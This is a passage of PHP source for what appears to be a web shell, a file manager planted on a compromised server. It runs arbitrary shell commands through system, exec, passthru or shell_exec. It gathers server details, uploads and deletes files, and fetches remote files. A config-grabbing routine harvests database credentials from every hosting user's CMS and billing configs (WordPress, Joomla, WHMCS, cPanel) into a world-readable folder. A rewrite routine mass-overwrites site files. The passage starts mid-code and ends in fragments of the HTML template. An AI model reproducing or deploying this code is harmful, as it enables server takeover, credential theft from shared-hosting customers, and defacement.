$value) {
$filename['name'] = getcwd() . XN::SLES() . $value;
switch ($type) {
case 'dir':
if (
!is_dir($filename['name']) ||
$value === '.' ||
$value === '..'
) {
continue 2;
}
break;
case 'file':
if (!is_file($filename['name'])) {
continue 2;
}
break;
}
$filename['names'] = basename($filename['name']);
$filename['owner'] = self::owner($filename['name']);
$filename['ftime'] = self::ftime($filename['name']);
$filename['size'] = is_dir($filename['name'])
? self::countDir($filename['name']) . " items"
: self::size($filename['name']);
self::$array[] = $filename;
}
return self::$array;
}
public static function save($filename, $data)
{
self::$handle = fopen($filename, "w");
fwrite(self::$handle, $data);
fclose(self::$handle);
}
public static function size($filename)
{
if (is_file($filename)) {
$filepath = $filename;
if (!realpath($filepath)) {
$filepath = $_SERVER['DOCUMENT_ROOT'] . $filepath;
}
$filesize = filesize($filepath);
$array = ["TB", "GB", "MB", "KB", "Byte"];
$total = count($array);
while ($total-- && $filesize > 1024) {
$filesize /= 1024;
}
return round($filesize, 2) . " " . $array[$total];
}
}
public static function wr($filename, $perms, $type)
{
if (is_writable($filename)) {
switch ($type) {
case 1:
print "{$perms}";
break;
case 2:
print "{$perms}";
break;
}
} else {
print "{$perms}";
}
}
public static function perms($filename)
{
$perms = @fileperms($filename);
switch ($perms & 0xf000) {
case 0xc000:
$info = 's';
break;
case 0xa000:
$info = 'l';
break;
case 0x8000:
$info = 'r';
break;
case 0x6000:
$info = 'b';
break;
case 0x4000:
$info = 'd';
break;
case 0x2000:
$info = 'c';
break;
case 0x1000:
$info = 'p';
break;
default:
$info = 'u';
}
$info .= $perms & 0x0100 ? 'r' : '-';
$info .= $perms & 0x0080 ? 'w' : '-';
$info .=
$perms & 0x0040
? ($perms & 0x0800
? 's'
: 'x')
: ($perms & 0x0800
? 'S'
: '-');
$info .= $perms & 0x0020 ? 'r' : '-';
$info .= $perms & 0x0010 ? 'w' : '-';
$info .=
$perms & 0x0008
? ($perms & 0x0400
? 's'
: 'x')
: ($perms & 0x0400
? 'S'
: '-');
$info .= $perms & 0x0004 ? 'r' : '-';
$info .= $perms & 0x0002 ? 'w' : '-';
$info .=
$perms & 0x0001
? ($perms & 0x0200
? 't'
: 'x')
: ($perms & 0x0200
? 'T'
: '-');
return $info;
}
public static function OS()
{
return substr(strtoupper(PHP_OS), 0, 3) === "WIN" ? "Windows" : "Linux";
}
public static function getext($filename)
{
return strtolower(pathinfo($filename, PATHINFO_EXTENSION));
}
public static function vers($x)
{
return print $x;
}
public static function geticon($filename)
{
switch (self::getext($filename)) {
case 'php1':
case 'php2':
case 'php3':
case 'php4':
case 'php5':
case 'php6':
case 'phtml':
case 'php':
case 'php7':
case 'php8':
self::vers(
'https://cdn-icons-png.flaticon.com/128/16144/16144312.png'
);
break;
case 'html':
case 'htm':
self::vers(
'https://cdn-icons-png.flaticon.com/128/569/569835.png'
);
break;
case 'css':
self::vers(
'https://cdn-icons-png.flaticon.com/128/29/29600.png'
);
break;
case 'js':
self::vers(
'https://cdn3.iconfinder.com/data/icons/chooseanycolor/128/js-64.png'
);
break;
case 'json':
self::vers(
'https://cdn-icons-png.flaticon.com/128/6394/6394065.png'
);
break;
case 'xml':
self::vers(
'https://cdn-icons-png.flaticon.com/128/14716/14716054.png'
);
break;
case 'py':
self::vers(
'https://cdn-icons-png.flaticon.com/128/28/28807.png'
);
break;
case 'zip':
self::vers(
'https://cdn-icons-png.flaticon.com/128/28/28814.png'
);
break;
case 'rar':
self::vers(
'https://cdn-icons-png.flaticon.com/128/2258/2258853.png'
);
break;
case 'htaccess':
self::vers(
'https://image.flaticon.com/icons/png/128/1720/1720444.png'
);
break;
case 'txt':
self::vers(
'https://cdn-icons-png.flaticon.com/128/3022/3022200.png'
);
break;
case 'ini':
self::vers(
'https://cdn-icons-png.flaticon.com/128/14021/14021165.png'
);
break;
case 'mp3':
self::vers(
'https://cdn-icons-png.flaticon.com/128/2258/2258853.png'
);
break;
case 'mp4':
self::vers(
'https://cdn-icons-png.flaticon.com/128/2258/2258853.png'
);
break;
case 'log':
case 'log1':
case 'log2':
self::vers(
'https://cdn-icons-png.flaticon.com/128/2258/2258853.png'
);
break;
case 'dat':
self::vers(
'https://cdn-icons-png.flaticon.com/128/29/29086.png'
);
break;
case 'exe':
self::vers(
'https://cdn-icons-png.flaticon.com/128/29/29482.png'
);
break;
case 'apk':
self::vers(
'https://cdn-icons-png.flaticon.com/128/9496/9496678.png'
);
break;
case 'yaml':
self::vers(
'https://cdn-icons-png.flaticon.com/128/2258/2258853.png'
);
break;
case 'bak':
self::vers(
'https://cdn-icons-png.flaticon.com/128/29/29589.png'
);
break;
case 'ico':
self::vers(
'https://cdn-icons-png.flaticon.com/128/739/739249.png'
);
break;
case 'png':
self::vers(
'https://cdn-icons-png.flaticon.com/128/739/739249.png'
);
break;
case 'jpg':
case 'jpeg':
case 'webp':
self::vers(
'https://cdn-icons-png.flaticon.com/128/739/739249.png'
);
break;
case 'svg':
self::vers(
'https://cdn-icons-png.flaticon.com/128/29/29495.png'
);
break;
case 'gif':
self::vers(
'https://cdn-icons-png.flaticon.com/128/29/29579.png'
);
break;
case 'pdf':
self::vers(
'https://cdn-icons-png.flaticon.com/128/80/80942.png'
);
break;
default:
self::vers(
'https://cdn-icons-png.flaticon.com/128/2258/2258853.png'
);
break;
}
}
public static function SLES()
{
if (self::OS() == 'Windows') {
return str_replace('\\', '/', DIRECTORY_SEPARATOR);
} elseif (self::OS() == 'Linux') {
return DIRECTORY_SEPARATOR;
}
}
public static function exe($cmd)
{
if (function_exists('system')) {
@ob_start();
@system($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
} elseif (function_exists('exec')) {
@exec($cmd, $results);
$buff = "";
foreach ($results as $result) {
$buff .= $result;
}
return $buff;
} elseif (function_exists('passthru')) {
@ob_start();
@passthru($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
} elseif (function_exists('shell_exec')) {
$buff = @shell_exec($cmd);
return $buff;
}
}
public static function color($bold = 1, $colorid = null, $string = null)
{
$color = [
"", # 0 off
"", # 1 red
"", # 2 lime
"", # 3 white
"", # 4 gold
];
return $string !== null
? $color[$colorid] . $string . $color[0]
: $color[$colorid];
}
public static function lib_installed()
{
$lib[] =
"MySQL: " .
(function_exists('mysql_connect')
? self::color(1, 2, "ON")
: self::color(1, 1, "OFF"));
$lib[] =
"cURL: " .
(function_exists('curl_version')
? self::color(1, 2, "ON")
: self::color(1, 1, "OFF"));
$lib[] =
"Wget: " .
(self::exe('wget --help')
? self::color(1, 2, "ON")
: self::color(1, 1, "OFF"));
$lib[] =
"Perl: " .
(self::exe('perl --help')
? self::color(1, 2, "ON")
: self::color(1, 1, "OFF"));
$lib[] =
"Mail: " .
(function_exists('mail')
? self::color(1, 2, "ON")
: self::color(1, 1, "OFF"));
$lib[] =
"Python: " .
(self::exe('python --help')
? self::color(1, 2, "ON")
: self::color(1, 1, "OFF"));
return implode(" | ", $lib);
}
public static function info($info = null)
{
switch ($info) {
case 'disable_function':
return !empty(@ini_get("disable_functions"))
? @ini_get("disable_functions")
: "NONE";
break;
case 'mysql':
return function_exists('mysql_connect')
? "ON"
: "OFF";
break;
case 'ip':
return getHostByName(getHostName());
break;
case 'software':
return $_SERVER['SERVER_SOFTWARE'];
break;
case 'kernel':
return php_uname();
break;
case 'phpversion':
return phpversion();
break;
case 'safe_mode':
return @ini_get(strtoupper("safe_mode")) === "ON"
? "ON"
: "OFF";
break;
case 'lib':
return self::lib_installed();
break;
case 'domain':
$d0mains = @file("/etc/named.conf", false);
if (!$d0mains) {
print "Cant Read /etc/named.conf";
$GLOBALS["need_to_update_header"] = "true";
} else {
$count = 0;
foreach ($d0mains as $d0main) {
if (@strstr($d0main, "zone")) {
preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if (strlen(trim($domains[1][0])) > 2) {
flush();
$count++;
}
}
}
print $count . " Domain";
}
break;
}
}
public static function addFile($filename, $data)
{
foreach ($filename as $value) {
$handle = fopen($value, "w");
if (fwrite($handle, $data)) {
alert("failed");
} else {
alert("success");
}
}
}
public static function addfolder($path, $mode = 0777)
{
return !is_dir($path) && !mkdir($path, $mode);
}
public static function delete($filename)
{
if (is_dir($filename)) {
$scandir = scandir($filename);
foreach ($scandir as $object) {
if ($object != '.' && $object != '..') {
if (is_dir($filename . DIRECTORY_SEPARATOR . $object)) {
self::delete($filename . DIRECTORY_SEPARATOR . $object);
} else {
@unlink($filename . DIRECTORY_SEPARATOR . $object);
}
}
}
if (@rmdir($filename)) {
return true;
} else {
return false;
}
} else {
if (@unlink($filename)) {
return true;
} else {
return false;
}
}
}
public static function owner($filename)
{
if (function_exists("posix_getpwuid")) {
self::$owner = @posix_getpwuid(fileowner($filename));
self::$owner = self::$owner['name'];
} else {
self::$owner = fileowner($filename);
}
if (function_exists("posix_getgrgid")) {
self::$group = @posix_getgrgid(filegroup($filename));
self::$group = self::$group['name'];
} else {
self::$group = filegroup($filename);
}
return self::$owner .
"/" .
self::$group .
"";
}
public static function ftime($filename)
{
return date('d M Y - H:i A', @filemtime($filename));
}
public static function renames($filename, $newname)
{
return rename($filename, $newname);
}
public static function cd($directory)
{
return @chdir($directory);
}
public static function countDir($filename)
{
return @count(scandir($filename)) - 2;
}
public static function upload($filename)
{
$files = count($filename['tmp_name']);
for ($i = 1; $i < $files; $i++) {
if (
move_uploaded_file(
$filename['tmp_name'][$i],
getcwd() . DIRECTORY_SEPARATOR . $filename['name'][$i]
)
) {
alert($i . " File Uploaded");
} else {
alert("Upload Failed/Permission Danied");
}
}
}
public static function listFile($dir, &$output = [])
{
$dirs = scandir($dir);
foreach ($dirs as $key => $value) {
$location = $dir . DIRECTORY_SEPARATOR . $value;
if (!is_dir($location)) {
$output[] = $location;
} elseif ($value != "." && $value != '..') {
self::listFile($location, $output);
$output[] = $location;
}
}
return $output;
}
public static function adminer($url, $data)
{
$handle = fopen($data, "w");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FILE, $handle);
return curl_exec($ch);
curl_close($ch);
fclose($handle);
ob_flush();
flush();
}
public static function config($passwd)
{
mkdir('.config', 0777);
$htaccess = 'Options allnRequire NonenSatisfy Any';
$handle = fopen('.config/.htaccess', "w");
fwrite($handle, $htaccess);
preg_match_all('/(.*?):x:/', $passwd, $matches);
foreach ($matches[1] as $user) {
$user_config = '/home/$user/public_html/';
if (is_readable($user_config)) {
$grab_config = [
"/home/$user/.my.cnf" => "cpanel",
"/home/$user/public_html/config/koneksi.php" => "Lokomedia",
"/home/$user/public_html/forum/config.php" => "phpBB",
"/home/$user/public_html/sites/default/settings.php" => "Drupal",
"/home/$user/public_html/config/settings.inc.php" => "PrestaShop",
"/home/$user/public_html/app/etc/local.xml" => "Magento",
"/home/$user/public_html/admin/config.php" => "OpenCart",
"/home/$user/public_html/application/config/database.php" => "Ellislab",
"/home/$user/public_html/vb/includes/config.php" => "Vbulletin",
"/home/$user/public_html/includes/config.php" => "Vbulletin",
"/home/$user/public_html/forum/includes/config.php" => "Vbulletin",
"/home/$user/public_html/forums/includes/config.php" => "Vbulletin",
"/home/$user/public_html/cc/includes/config.php" => "Vbulletin",
"/home/$user/public_html/inc/config.php" => "MyBB",
"/home/$user/public_html/includes/configure.php" => "OsCommerce",
"/home/$user/public_html/shop/includes/configure.php" => "OsCommerce",
"/home/$user/public_html/os/includes/configure.php" => "OsCommerce",
"/home/$user/public_html/oscom/includes/configure.php" => "OsCommerce",
"/home/$user/public_html/products/includes/configure.php" => "OsCommerce",
"/home/$user/public_html/cart/includes/configure.php" => "OsCommerce",
"/home/$user/public_html/inc/conf_global.php" => "IPB",
"/home/$user/public_html/wp-config.php" => "Wordpress",
"/home/$user/public_html/wp/test/wp-config.php" => "Wordpress",
"/home/$user/public_html/blog/wp-config.php" => "Wordpress",
"/home/$user/public_html/beta/wp-config.php" => "Wordpress",
"/home/$user/public_html/portal/wp-config.php" => "Wordpress",
"/home/$user/public_html/site/wp-config.php" => "Wordpress",
"/home/$user/public_html/wp/wp-config.php" => "Wordpress",
"/home/$user/public_html/WP/wp-config.php" => "Wordpress",
"/home/$user/public_html/news/wp-config.php" => "Wordpress",
"/home/$user/public_html/wordpress/wp-config.php" => "Wordpress",
"/home/$user/public_html/test/wp-config.php" => "Wordpress",
"/home/$user/public_html/demo/wp-config.php" => "Wordpress",
"/home/$user/public_html/home/wp-config.php" => "Wordpress",
"/home/$user/public_html/v1/wp-config.php" => "Wordpress",
"/home/$user/public_html/v2/wp-config.php" => "Wordpress",
"/home/$user/public_html/press/wp-config.php" => "Wordpress",
"/home/$user/public_html/new/wp-config.php" => "Wordpress",
"/home/$user/public_html/blogs/wp-config.php" => "Wordpress",
"/home/$user/public_html/configuration.php" => "Joomla",
"/home/$user/public_html/blog/configuration.php" => "Joomla",
"/home/$user/public_html/submitticket.php" => "^WHMCS",
"/home/$user/public_html/cms/configuration.php" => "Joomla",
"/home/$user/public_html/beta/configuration.php" => "Joomla",
"/home/$user/public_html/portal/configuration.php" => "Joomla",
"/home/$user/public_html/site/configuration.php" => "Joomla",
"/home/$user/public_html/main/configuration.php" => "Joomla",
"/home/$user/public_html/home/configuration.php" => "Joomla",
"/home/$user/public_html/demo/configuration.php" => "Joomla",
"/home/$user/public_html/test/configuration.php" => "Joomla",
"/home/$user/public_html/v1/configuration.php" => "Joomla",
"/home/$user/public_html/v2/configuration.php" => "Joomla",
"/home/$user/public_html/joomla/configuration.php" => "Joomla",
"/home/$user/public_html/new/configuration.php" => "Joomla",
"/home/$user/public_html/WHMCS/submitticket.php" => "WHMCS",
"/home/$user/public_html/whmcs1/submitticket.php" => "WHMCS",
"/home/$user/public_html/Whmcs/submitticket.php" => "WHMCS",
"/home/$user/public_html/whmcs/submitticket.php" => "WHMCS",
"/home/$user/public_html/whmcs/submitticket.php" => "WHMCS",
"/home/$user/public_html/WHMC/submitticket.php" => "WHMCS",
"/home/$user/public_html/Whmc/submitticket.php" => "WHMCS",
"/home/$user/public_html/whmc/submitticket.php" => "WHMCS",
"/home/$user/public_html/WHM/submitticket.php" => "WHMCS",
"/home/$user/public_html/Whm/submitticket.php" => "WHMCS",
"/home/$user/public_html/whm/submitticket.php" => "WHMCS",
"/home/$user/public_html/HOST/submitticket.php" => "WHMCS",
"/home/$user/public_html/Host/submitticket.php" => "WHMCS",
"/home/$user/public_html/host/submitticket.php" => "WHMCS",
"/home/$user/public_html/SUPPORTES/submitticket.php" => "WHMCS",
"/home/$user/public_html/Supportes/submitticket.php" => "WHMCS",
"/home/$user/public_html/supportes/submitticket.php" => "WHMCS",
"/home/$user/public_html/domains/submitticket.php" => "WHMCS",
"/home/$user/public_html/domain/submitticket.php" => "WHMCS",
"/home/$user/public_html/Hosting/submitticket.php" => "WHMCS",
"/home/$user/public_html/HOSTING/submitticket.php" => "WHMCS",
"/home/$user/public_html/hosting/submitticket.php" => "WHMCS",
"/home/$user/public_html/CART/submitticket.php" => "WHMCS",
"/home/$user/public_html/Cart/submitticket.php" => "WHMCS",
"/home/$user/public_html/cart/submitticket.php" => "WHMCS",
"/home/$user/public_html/ORDER/submitticket.php" => "WHMCS",
"/home/$user/public_html/Order/submitticket.php" => "WHMCS",
"/home/$user/public_html/order/submitticket.php" => "WHMCS",
"/home/$user/public_html/CLIENT/submitticket.php" => "WHMCS",
"/home/$user/public_html/Client/submitticket.php" => "WHMCS",
"/home/$user/public_html/client/submitticket.php" => "WHMCS",
"/home/$user/public_html/CLIENTAREA/submitticket.php" => "WHMCS",
"/home/$user/public_html/Clientarea/submitticket.php" => "WHMCS",
"/home/$user/public_html/clientarea/submitticket.php" => "WHMCS",
"/home/$user/public_html/SUPPORT/submitticket.php" => "WHMCS",
"/home/$user/public_html/Support/submitticket.php" => "WHMCS",
"/home/$user/public_html/support/submitticket.php" => "WHMCS",
"/home/$user/public_html/BILLING/submitticket.php" => "WHMCS",
"/home/$user/public_html/Billing/submitticket.php" => "WHMCS",
"/home/$user/public_html/billing/submitticket.php" => "WHMCS",
"/home/$user/public_html/BUY/sumitticket.php" => "WHMCS",
"/home/$user/public_html/Buy/submitticket.php" => "WHMCS",
"/home/$user/public_html/buy/submitticket.php" => "WHMCS",
"/home/$user/public_html/MANAGE/submitticket.php" => "WHMCS",
"/home/$user/public_html/Manage/submitticket.php" => "WHMCS",
"/home/$user/public_html/manage/submitticket.php" => "WHMCS",
"/home/$user/public_html/CLIENTSUPPORT/submitticket.php" => "WHMCS",
"/home/$user/public_html/ClientSupport/submitticket.php" => "WHMCS",
"/home/$user/public_html/Clientsupport/submitticket.php" => "WHMCS",
"/home/$user/public_html/clientsupport/submitticket.php" => "WHMCS",
"/home/$user/public_html/CHECKOUT/submitticket.php" => "WHMCS",
"/home/$user/public_html/Checkout/submitticket.php" => "WHMCS",
"/home/$user/public_html/checkout/submitticket.php" => "WHMCS",
"/home/$user/public_html/BILLINGS/submitticket.php" => "WHMCS",
"/home/$user/public_html/Billings/submitticket.php" => "WHMCS",
"/home/$user/public_html/billings/submitticket.php" => "WHMCS",
"/home/$user/public_html/BASKET/submitticket.php" => "WHMCS",
"/home/$user/public_html/Basket/submitticket.php" => "WHMCS",
"/home/$user/public_html/basket/submitticket.php" => "WHMCS",
"/home/$user/public_html/SECURE/submitticket.php" => "WHMCS",
"/home/$user/public_html/Secure/submitticket.php" => "WHMCS",
"/home/$user/public_html/secure/submitticket.php" => "WHMCS",
"/home/$user/public_html/SALES/submitticket.php" => "WHMCS",
"/home/$user/public_html/Sales/submitticket.php" => "WHMCS",
"/home/$user/public_html/sales/submitticket.php" => "WHMCS",
"/home/$user/public_html/BILL/submitticket.php" => "WHMCS",
"/home/$user/public_html/Bill/submitticket.php" => "WHMCS",
"/home/$user/public_html/bill/submitticket.php" => "WHMCS",
"/home/$user/public_html/PURCHASE/submitticket.php" => "WHMCS",
"/home/$user/public_html/Purchase/submitticket.php" => "WHMCS",
"/home/$user/public_html/purchase/submitticket.php" => "WHMCS",
"/home/$user/public_html/ACCOUNT/submitticket.php" => "WHMCS",
"/home/$user/public_html/Account/submitticket.php" => "WHMCS",
"/home/$user/public_html/account/submitticket.php" => "WHMCS",
"/home/$user/public_html/USER/submitticket.php" => "WHMCS",
"/home/$user/public_html/User/submitticket.php" => "WHMCS",
"/home/$user/public_html/user/submitticket.php" => "WHMCS",
"/home/$user/public_html/CLIENTS/submitticket.php" => "WHMCS",
"/home/$user/public_html/Clients/submitticket.php" => "WHMCS",
"/home/$user/public_html/clients/submitticket.php" => "WHMCS",
"/home/$user/public_html/BILLINGS/submitticket.php" => "WHMCS",
"/home/$user/public_html/Billings/submitticket.php" => "WHMCS",
"/home/$user/public_html/billings/submitticket.php" => "WHMCS",
"/home/$user/public_html/MY/submitticket.php" => "WHMCS",
"/home/$user/public_html/My/submitticket.php" => "WHMCS",
"/home/$user/public_html/my/submitticket.php" => "WHMCS",
"/home/$user/public_html/secure/whm/submitticket.php" => "WHMCS",
"/home/$user/public_html/secure/whmcs/submitticket.php" => "WHMCS",
"/home/$user/public_html/panel/submitticket.php" => "WHMCS",
"/home/$user/public_html/clientes/submitticket.php" => "WHMCS",
"/home/$user/public_html/cliente/submitticket.php" => "WHMCS",
"/home/$user/public_html/support/order/submitticket.php" => "WHMCS",
"/home/$user/public_html/bb-config.php" => "BoxBilling",
"/home/$user/public_html/boxbilling/bb-config.php" => "BoxBilling",
"/home/$user/public_html/box/bb-config.php" => "BoxBilling",
"/home/$user/public_html/host/bb-config.php" => "BoxBilling",
"/home/$user/public_html/Host/bb-config.php" => "BoxBilling",
"/home/$user/public_html/supportes/bb-config.php" => "BoxBilling",
"/home/$user/public_html/support/bb-config.php" => "BoxBilling",
"/home/$user/public_html/hosting/bb-config.php" => "BoxBilling",
"/home/$user/public_html/cart/bb-config.php" => "BoxBilling",
"/home/$user/public_html/order/bb-config.php" => "BoxBilling",
"/home/$user/public_html/client/bb-config.php" => "BoxBilling",
"/home/$user/public_html/clients/bb-config.php" => "BoxBilling",
"/home/$user/public_html/cliente/bb-config.php" => "BoxBilling",
"/home/$user/public_html/clientes/bb-config.php" => "BoxBilling",
"/home/$user/public_html/billing/bb-config.php" => "BoxBilling",
"/home/$user/public_html/billings/bb-config.php" => "BoxBilling",
"/home/$user/public_html/my/bb-config.php" => "BoxBilling",
"/home/$user/public_html/secure/bb-config.php" => "BoxBilling",
"/home/$user/public_html/support/order/bb-config.php" => "BoxBilling",
"/home/$user/public_html/includes/dist-configure.php" => "Zencart",
"/home/$user/public_html/zencart/includes/dist-configure.php" => "Zencart",
"/home/$user/public_html/products/includes/dist-configure.php" => "Zencart",
"/home/$user/public_html/cart/includes/dist-configure.php" => "Zencart",
"/home/$user/public_html/shop/includes/dist-configure.php" => "Zencart",
"/home/$user/public_html/includes/iso4217.php" => "Hostbills",
"/home/$user/public_html/hostbills/includes/iso4217.php" => "Hostbills",
"/home/$user/public_html/host/includes/iso4217.php" => "Hostbills",
"/home/$user/public_html/Host/includes/iso4217.php" => "Hostbills",
"/home/$user/public_html/supportes/includes/iso4217.php" => "Hostbills",
"/home/$user/public_html/support/includes/iso4217.php" => "Hostbills",
"/home/$user/public_html/hosting/includes/iso4217.php" => "Hostbills",
"/home/$user/public_html/cart/includes/iso4217.php" => "Hostbills",
"/home/$user/public_html/order/includes/iso4217.php" => "Hostbills",
"/home/$user/public_html/client/includes/iso4217.php" => "Hostbills",
"/home/$user/public_html/clients/includes/iso4217.php" => "Hostbills",
"/home/$user/public_html/cliente/includes/iso4217.php" => "Hostbills",
"/home/$user/public_html/clientes/includes/iso4217.php" => "Hostbills",
"/home/$user/public_html/billing/includes/iso4217.php" => "Hostbills",
"/home/$user/public_html/billings/includes/iso4217.php" => "Hostbills",
"/home/$user/public_html/my/includes/iso4217.php" => "Hostbills",
"/home/$user/public_html/secure/includes/iso4217.php" => "Hostbills",
"/home/$user/public_html/support/order/includes/iso4217.php" => "Hostbills",
];
}
foreach ($grab_config as $config => $config_name) {
$get_config = file_get_contents($config);
if ($get_config == '') {
} else {
$file_config = fopen(
".config/" . $user . "-" . $config_name . ".txt",
'w'
);
fputs($file_config, $get_config);
}
}
}
}
public static function rewrite($dir, $extension, $text)
{
if (is_writable($dir)) {
foreach (self::listFile($dir) as $key => $value) {
switch (self::getext($value)) {
case $extension:
if (
preg_match(
'/' . basename($value) . "$/i",
$_SERVER['PHP_SELF'],
$matches
) == 0
) {
if (file_put_contents($value, $text)) { ?>
Kernel | : |
= XN::info('kernel') ?>
|
Software | : |
= XN::info('software') ?>
|
IP | : |
= XN::info('ip') ?>
|
PHP Version | : |
= XN::info('phpversion') ?>
|
Domains | : |
= XN::info('domain') ?>
|
Disable Function | : |
= XN::info('disable_function') ?>
|
Safe Mode | : |
= XN::info('safe_mode') ?>
|
= XN::info('lib') ?> |
Filename | : |
= XN::wr(
basename($_POST['file']),
basename($_POST['file']),
2
) ?>
|
Size | : | = XN::size($_POST['file']) ?> |
Last Modif | : | = XN::ftime($_POST['file']) ?> |